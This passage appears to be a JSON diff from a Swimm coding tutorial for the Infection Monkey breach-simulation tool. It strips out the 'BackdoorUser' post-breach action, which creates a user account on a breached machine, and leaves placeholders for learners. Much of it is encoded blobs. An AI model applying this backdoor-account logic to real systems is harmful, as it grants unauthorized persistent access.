SUyMiUyMGZyb20lMjBpbmZlY3Rpb25fbW9ua2V5LnBvc3RfYnJlYWNoLnBiYSUyMGltcG9ydCUyMFBCQSUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTMlMkMlMjJiJTIyJTNBMSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMGZyb20lMjBpbmZlY3Rpb25fbW9ua2V5LnV0aWxzLnVzZXJzJTIwaW1wb3J0JTIwZ2V0X2NvbW1hbmRzX3RvX2FkZF91c2VyJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNCUyQyUyMmIlMjIlM0EyJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNSUyQyUyMmIlMjIlM0EzJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNiUyQyUyMmIlMjIlM0E0JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwY2xhc3MlMjBCYWNrZG9vclVzZXIoUEJBKSUzQSUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTclMkMlMjJiJTIyJTNBNSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMGRlZiUyMF9faW5pdF9fKHNlbGYpJTNBJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBOCUyQyUyMmIlMjIlM0E2JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMGxpbnV4X2NtZHMlMkMlMjB3aW5kb3dzX2NtZHMlMjAlM0QlMjBnZXRfY29tbWFuZHNfdG9fYWRkX3VzZXIoJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBOSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBXb3JtQ29uZmlndXJhdGlvbi51c2VyX3RvX2FkZCUyQyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTEwJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMFdvcm1Db25maWd1cmF0aW9uLnJlbW90ZV91c2VyX3Bhc3MpJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTElN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwc3VwZXIoQmFja2Rvb3JVc2VyJTJDJTIwc2VsZikuX19pbml0X18oJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTIlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwUE9TVF9CUkVBQ0hfQkFDS0RPT1JfVVNFUiUyQyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTEzJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMGxpbnV4X2NtZCUzRCclMjAnLmpvaW4obGludXhfY21kcyklMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExNCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjB3aW5kb3dzX2NtZCUzRHdpbmRvd3NfY21kcyklMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExNSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJhZGQlMjIlMkMlMjJtYXJrJTIyJTNBJTIyJTJCJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMHBhc3MlMjAlMjAlMjMlMjBTd2ltbWVyJTNBJTIwSW1wbCUyMGhlcmUhJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJiJTIyJTNBNyU3RCU3RCU1RCUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQSU3QiUyMnN0YXJ0TGluZSUyMiUzQTElMkMlMjJsaW5lc0NvdW50JTIyJTNBMTUlN0QlMkMlMjJiJTIyJTNBJTdCJTIyc3RhcnRMaW5lJTIyJTNBMSUyQyUyMmxpbmVzQ291bnQlMjIlM0E3JTdEJTdEJTdEJTdE" + "diffType": "MODIFIED", + "fileDiffHeader": "diff --git a/monkey/infection_monkey/post_breach/actions/add_user.py b/monkey/infection_monkey/post_breach/actions/add_user.py\nindex a8584584..d8476a97 100644\n--- a/monkey/infection_monkey/post_breach/actions/add_user.py\n+++ b/monkey/infection_monkey/post_breach/actions/add_user.py", + "hunks": [ + { + "swimmHunkMetadata": {}, + "hunkDiffLines": [ + "@@ -1,15 +1,7 @@", + "-from common.common_consts.post_breach_consts import POST_BREACH_BACKDOOR_USER", + "-from infection_monkey.config import WormConfiguration", + " from infection_monkey.post_breach.pba import PBA", + " from infection_monkey.utils.users import get_commands_to_add_user", + " ", + " ", + " class BackdoorUser(PBA):", + " def __init__(self):", + "- linux_cmds, windows_cmds = get_commands_to_add_user(", + "+ pass # Swimmer: Impl here!", + "- WormConfiguration.user_to_add,", + "- WormConfiguration.remote_user_pass)", + "- super(BackdoorUser, self).__init__(", + "- POST_BREACH_BACKDOOR_USER,", + "- linux_cmd=' '.join(linux_cmds),", + "- windows_cmd=windows_cmds)" + ] + } ] }, "monkey/monkey_island/cc/services/attack/technique_reports/T1136.py": { - "index": [ - "086a1c13..da99e86c", - "100644" - ], - "fileA": "monkey/monkey_island/cc/services/attack/technique_reports/T1136.py", - "fileB": "monkey/monkey_island/cc/services/attack/technique_reports/T1136.py", - "status": "MODIFIED", - "numLineDeletions": 2, - "numLineAdditions": 2, - "hunkContainers": [ - "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC0xJTJDNSUyMCUyQjElMkM1JTIwJTQwJTQwJTIyJTJDJTIyY2hhbmdlcyUyMiUzQSU1QiU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMGZyb20lMjBjb21tb24uZGF0YS5wb3N0X2JyZWFjaF9jb25zdHMlMjBpbXBvcnQlMjAoJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMSUyQyUyMmIlMjIlM0ExJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMFBPU1RfQlJFQUNIX0JBQ0tET09SX1VTRVIlMkMlMjBQT1NUX0JSRUFDSF9DT01NVU5JQ0FURV9BU19ORVdfVVNFUiklMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0EyJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmFkZCUyMiUyQyUyMm1hcmslMjIlM0ElMjIlMkIlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwUE9TVF9CUkVBQ0hfQ09NTVVOSUNBVEVfQVNfTkVXX1VTRVIpJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJiJTIyJTNBMiU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMGZyb20lMjBtb25rZXlfaXNsYW5kLmNjLnNlcnZpY2VzLmF0dGFjay50ZWNobmlxdWVfcmVwb3J0cy5wYmFfdGVjaG5pcXVlJTIwaW1wb3J0JTIwJTVDJTVDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMyUyQyUyMmIlMjIlM0EzJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwUG9zdEJyZWFjaFRlY2huaXF1ZSUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTQlMkMlMjJiJTIyJTNBNCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTUlMkMlMjJiJTIyJTNBNSU3RCU3RCU1RCUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQSU3QiUyMnN0YXJ0TGluZSUyMiUzQTElMkMlMjJsaW5lc0NvdW50JTIyJTNBNSU3RCUyQyUyMmIlMjIlM0ElN0IlMjJzdGFydExpbmUlMjIlM0ExJTJDJTIybGluZXNDb3VudCUyMiUzQTUlN0QlN0QlN0QlN0Q=", - "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC0xMSUyQzQlMjAlMkIxMSUyQzQlMjAlNDAlNDAlMjBjbGFzcyUyMFQxMTM2KFBvc3RCcmVhY2hUZWNobmlxdWUpJTNBJTIyJTJDJTIyY2hhbmdlcyUyMiUzQSU1QiU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMHVuc2Nhbm5lZF9tc2clMjAlM0QlMjAlNUMlMjJNb25rZXklMjBkaWRuJ3QlMjB0cnklMjBjcmVhdGluZyUyMGElMjBuZXclMjB1c2VyJTIwb24lMjB0aGUlMjBuZXR3b3JrJ3MlMjBzeXN0ZW1zLiU1QyUyMiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTExJTJDJTIyYiUyMiUzQTExJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwc2Nhbm5lZF9tc2clMjAlM0QlMjAlNUMlMjJNb25rZXklMjB0cmllZCUyMGNyZWF0aW5nJTIwYSUyMG5ldyUyMHVzZXIlMjBvbiUyMHRoZSUyMG5ldHdvcmsncyUyMHN5c3RlbXMlMkMlMjBidXQlMjBmYWlsZWQuJTVDJTIyJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTIlMkMlMjJiJTIyJTNBMTIlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjB1c2VkX21zZyUyMCUzRCUyMCU1QyUyMk1vbmtleSUyMGNyZWF0ZWQlMjBhJTIwbmV3JTIwdXNlciUyMG9uJTIwdGhlJTIwbmV0d29yaydzJTIwc3lzdGVtcy4lNUMlMjIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExMyUyQyUyMmIlMjIlM0ExMyU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjBwYmFfbmFtZXMlMjAlM0QlMjAlNUJQT1NUX0JSRUFDSF9CQUNLRE9PUl9VU0VSJTJDJTIwUE9TVF9CUkVBQ0hfQ09NTVVOSUNBVEVfQVNfTkVXX1VTRVIlNUQlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExNCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJhZGQlMjIlMkMlMjJtYXJrJTIyJTNBJTIyJTJCJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMHBiYV9uYW1lcyUyMCUzRCUyMCU1QlBPU1RfQlJFQUNIX0NPTU1VTklDQVRFX0FTX05FV19VU0VSJTVEJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJiJTIyJTNBMTQlN0QlN0QlNUQlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ElN0IlMjJzdGFydExpbmUlMjIlM0ExMSUyQyUyMmxpbmVzQ291bnQlMjIlM0E0JTdEJTJDJTIyYiUyMiUzQSU3QiUyMnN0YXJ0TGluZSUyMiUzQTExJTJDJTIybGluZXNDb3VudCUyMiUzQTQlN0QlN0QlN0QlN0Q=" + "diffType": "MODIFIED", + "fileDiffHeader": "diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1136.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1136.py\nindex d9d86e08..0abe6a02 100644\n--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1136.py\n+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1136.py", + "hunks": [ + { + "swimmHunkMetadata": {}, + "hunkDiffLines": [ + "@@ -1,4 +1,4 @@", + "-from common.common_consts.post_breach_consts import POST_BREACH_BACKDOOR_USER, POST_BREACH_COMMUNICATE_AS_NEW_USER", + "+from common.common_consts.post_breach_consts import POST_BREACH_COMMUNICATE_AS_NEW_USER", + " from monkey_island.cc.services.attack.technique_reports.pba_technique import PostBreachTechnique", + " ", + " __author__ = \"shreyamalviya\"" + ] + }, + { + "swimmHunkMetadata": {}, + "hunkDiffLines": [ + "@@ -9,4 +9,4 @@", + " unscanned_msg = \"Monkey didn't try creating a new user on the network's systems.\"", + " scanned_msg = \"Monkey tried creating a new user on the network's systems, but failed.\"", + " used_msg = \"Monkey created a new user on the network's systems.\"", + "- pba_names = [POST_BREACH_BACKDOOR_USER, POST_BREACH_COMMUNICATE_AS_NEW_USER]", + "+ pba_names = [POST_BREACH_COMMUNICATE_AS_NEW_USER]" + ] + } ] }, "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py": { - "index": [ - "f3e2a9bf..2c4aa664", - "100644" - ], - "fileA": "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py", - "fileB": "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py", - "status": "MODIFIED", - "numLineDeletions": 9, - "numLineAdditions": 1, - "hunkContainers": [ - "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC00JTJDMTUlMjAlMkI0JTJDNyUyMCU0MCU0MCUyMFBPU1RfQlJFQUNIX0FDVElPTlMlMjAlM0QlMjAlN0IlMjIlMkMlMjJjaGFuZ2VzJTIyJTNBJTVCJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVDJTIybWlnaHQlMjBkbyUyMGFmdGVyJTIwYnJlYWNoaW5nJTIwYSUyMG5ldyUyMG1hY2hpbmUuJTIwVXNlZCUyMGluJTIwQVRUJTI2Q0slMjBhbmQlMjBaZXJvJTIwdHJ1c3QlMjByZXBvcnRzLiU1QyUyMiUyQyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTQlMkMlMjJiJTIyJTNBNCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCU1QyUyMnR5cGUlNUMlMjIlM0ElMjAlNUMlMjJzdHJpbmclNUMlMjIlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E1JTJDJTIyYiUyMiUzQTUlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlNUMlMjJhbnlPZiU1QyUyMiUzQSUyMCU1QiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTYlMkMlMjJiJTIyJTNBNiU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0IlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E3JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMnR5cGUlNUMlMjIlM0ElMjAlNUMlMjJzdHJpbmclNUMlMjIlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E4JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMmVudW0lNUMlMjIlM0ElMjAlNUIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E5JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMkJhY2tkb29yVXNlciU1QyUyMiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTEwJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1RCUyQyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTExJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMnRpdGxlJTVDJTIyJTNBJTIwJTVDJTIyQmFjayUyMGRvb3IlMjB1c2VyJTVDJTIyJTJDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTIlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVDJTIyaW5mbyU1QyUyMiUzQSUyMCU1QyUyMkF0dGVtcHRzJTIwdG8lMjBjcmVhdGUlMjBhJTIwbmV3JTIwdXNlciUyMG9uJTIwdGhlJTIwc3lzdGVtJTIwYW5kJTIwZGVsZXRlJTIwaXQlMjBhZnRlcndhcmRzLiU1QyUyMiUyQyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTEzJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMmF0dGFja190ZWNobmlxdWVzJTVDJTIyJTNBJTIwJTVCJTVDJTIyVDExMzYlNUMlMjIlNUQlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExNCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0QlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExNSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJhZGQlMjIlMkMlMjJtYXJrJTIyJTNBJTIyJTJCJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMyUyMFN3aW1tZXIlM0ElMjBBZGQlMjBuZXclMjBQQkElMjBoZXJlJTIwdG8lMjBjb25maWchJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJiJTIyJTNBNyU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3QiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTE2JTJDJTIyYiUyMiUzQTglN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNUMlMjJ0eXBlJTVDJTIyJTNBJTIwJTVDJTIyc3RyaW5nJTVDJTIyJTJDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTclMkMlMjJiJTIyJTNBOSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMmVudW0lNUMlMjIlM0ElMjAlNUIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExOCUyQyUyMmIlMjIlM0ExMCU3RCU3RCU1RCUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQSU3QiUyMnN0YXJ0TGluZSUyMiUzQTQlMkMlMjJsaW5lc0NvdW50JTIyJTNBMTUlN0QlMkMlMjJiJTIyJTNBJTdCJTIyc3RhcnRMaW5lJTIyJTNBNCUyQyUyMmxpbmVzQ291bnQlMjIlM0E3JTdEJTdEJTdEJTdE" + "diffType": "MODIFIED", + "fileDiffHeader": "diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py b/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py\nindex f1fe0f6f..39ebd33a 100644\n--- a/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py\n+++ b/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py", + "hunks": [ + { + "swimmHunkMetadata": {}, + "hunkDiffLines": [ + "@@ -4,15 +4,7 @@", + " \"might do after breaching a new machine. Used in ATT&CK and Zero trust reports.\",", + " \"type\": \"string\",", + " \"anyOf\": [", + "- {", + "+ # Swimmer: Add new PBA here to config!", + "- \"type\": \"string\",", + "- \"enum\": [", + "- \"BackdoorUser\"", + "- ],", + "- \"title\": \"Back door user\",", + "- \"info\": \"Attempts to create a new user on the system and delete it afterwards.\",", + "- \"attack_techniques\": [\"T1136\"]", + "- },", + " {", + " \"type\": \"string\",", + " \"enum\": [" + ] + } ] } }, - "diff": "ZGlmZiUyMC0tZ2l0JTIwYSUyRm1vbmtleSUyRmNvbW1vbiUyRmRhdGElMkZwb3N0X2JyZWFjaF9jb25zdHMucHklMjBiJTJGbW9ua2V5JTJGY29tbW9uJTJGZGF0YSUyRnBvc3RfYnJlYWNoX2NvbnN0cy5weSUwQWluZGV4JTIwYzNiYmE5OTUuLjAzMWY5YWQwJTIwMTAwNjQ0JTBBLS0tJTIwYSUyRm1vbmtleSUyRmNvbW1vbiUyRmRhdGElMkZwb3N0X2JyZWFjaF9jb25zdHMucHklMEElMkIlMkIlMkIlMjBiJTJGbW9ua2V5JTJGY29tbW9uJTJGZGF0YSUyRnBvc3RfYnJlYWNoX2NvbnN0cy5weSUwQSU0MCU0MCUyMC0xJTJDNSUyMCUyQjElMkM1JTIwJTQwJTQwJTBBJTIwUE9TVF9CUkVBQ0hfQ09NTVVOSUNBVEVfQVNfTkVXX1VTRVIlMjAlM0QlMjAlMjJDb21tdW5pY2F0ZSUyMGFzJTIwbmV3JTIwdXNlciUyMiUwQS1QT1NUX0JSRUFDSF9CQUNLRE9PUl9VU0VSJTIwJTNEJTIwJTIyQmFja2Rvb3IlMjB1c2VyJTIyJTBBJTJCJTIzJTIwU3dpbW1lciUzQSUyMFBVVCUyMFRIRSUyME5FVyUyMENPTlNUJTIwSEVSRSElMEElMjBQT1NUX0JSRUFDSF9GSUxFX0VYRUNVVElPTiUyMCUzRCUyMCUyMkZpbGUlMjBleGVjdXRpb24lMjIlMEElMjBQT1NUX0JSRUFDSF9TSEVMTF9TVEFSVFVQX0ZJTEVfTU9ESUZJQ0FUSU9OJTIwJTNEJTIwJTIyTW9kaWZ5JTIwc2hlbGwlMjBzdGFydHVwJTIwZmlsZSUyMiUwQSUyMFBPU1RfQlJFQUNIX0hJRERFTl9GSUxFUyUyMCUzRCUyMCUyMkhpZGUlMjBmaWxlcyUyMGFuZCUyMGRpcmVjdG9yaWVzJTIyJTBBZGlmZiUyMC0tZ2l0JTIwYSUyRm1vbmtleSUyRmluZmVjdGlvbl9tb25rZXklMkZwb3N0X2JyZWFjaCUyRmFjdGlvbnMlMkZhZGRfdXNlci5weSUyMGIlMkZtb25rZXklMkZpbmZlY3Rpb25fbW9ua2V5JTJGcG9zdF9icmVhY2glMkZhY3Rpb25zJTJGYWRkX3VzZXIucHklMEFpbmRleCUyMDU4YmU4OWExLi5kODQ3NmE5NyUyMDEwMDY0NCUwQS0tLSUyMGElMkZtb25rZXklMkZpbmZlY3Rpb25fbW9ua2V5JTJGcG9zdF9icmVhY2glMkZhY3Rpb25zJTJGYWRkX3VzZXIucHklMEElMkIlMkIlMkIlMjBiJTJGbW9ua2V5JTJGaW5mZWN0aW9uX21vbmtleSUyRnBvc3RfYnJlYWNoJTJGYWN0aW9ucyUyRmFkZF91c2VyLnB5JTBBJTQwJTQwJTIwLTElMkMxNSUyMCUyQjElMkM3JTIwJTQwJTQwJTBBLWZyb20lMjBjb21tb24uZGF0YS5wb3N0X2JyZWFjaF9jb25zdHMlMjBpbXBvcnQlMjBQT1NUX0JSRUFDSF9CQUNLRE9PUl9VU0VSJTBBLWZyb20lMjBpbmZlY3Rpb25fbW9ua2V5LmNvbmZpZyUyMGltcG9ydCUyMFdvcm1Db25maWd1cmF0aW9uJTBBJTIwZnJvbSUyMGluZmVjdGlvbl9tb25rZXkucG9zdF9icmVhY2gucGJhJTIwaW1wb3J0JTIwUEJBJTBBJTIwZnJvbSUyMGluZmVjdGlvbl9tb25rZXkudXRpbHMudXNlcnMlMjBpbXBvcnQlMjBnZXRfY29tbWFuZHNfdG9fYWRkX3VzZXIlMEElMjAlMEElMj